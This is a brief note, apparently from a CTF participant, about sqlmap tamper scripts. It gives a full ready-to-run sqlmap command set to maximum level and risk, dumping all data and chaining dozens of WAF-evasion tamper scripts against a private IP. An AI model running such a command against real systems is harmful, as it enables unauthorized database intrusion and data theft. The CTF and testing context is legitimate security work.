Just a small note related to sqlmap culled from working on a CTF style challenge. Not all the tamper scripts in jhaddix's helpful attack string are still working. Current working command:
sqlmap -u http://192.168.1.1 --level=5 --risk=3 -a --text-only --technique=BU --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,randomcomments,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords --random-agent
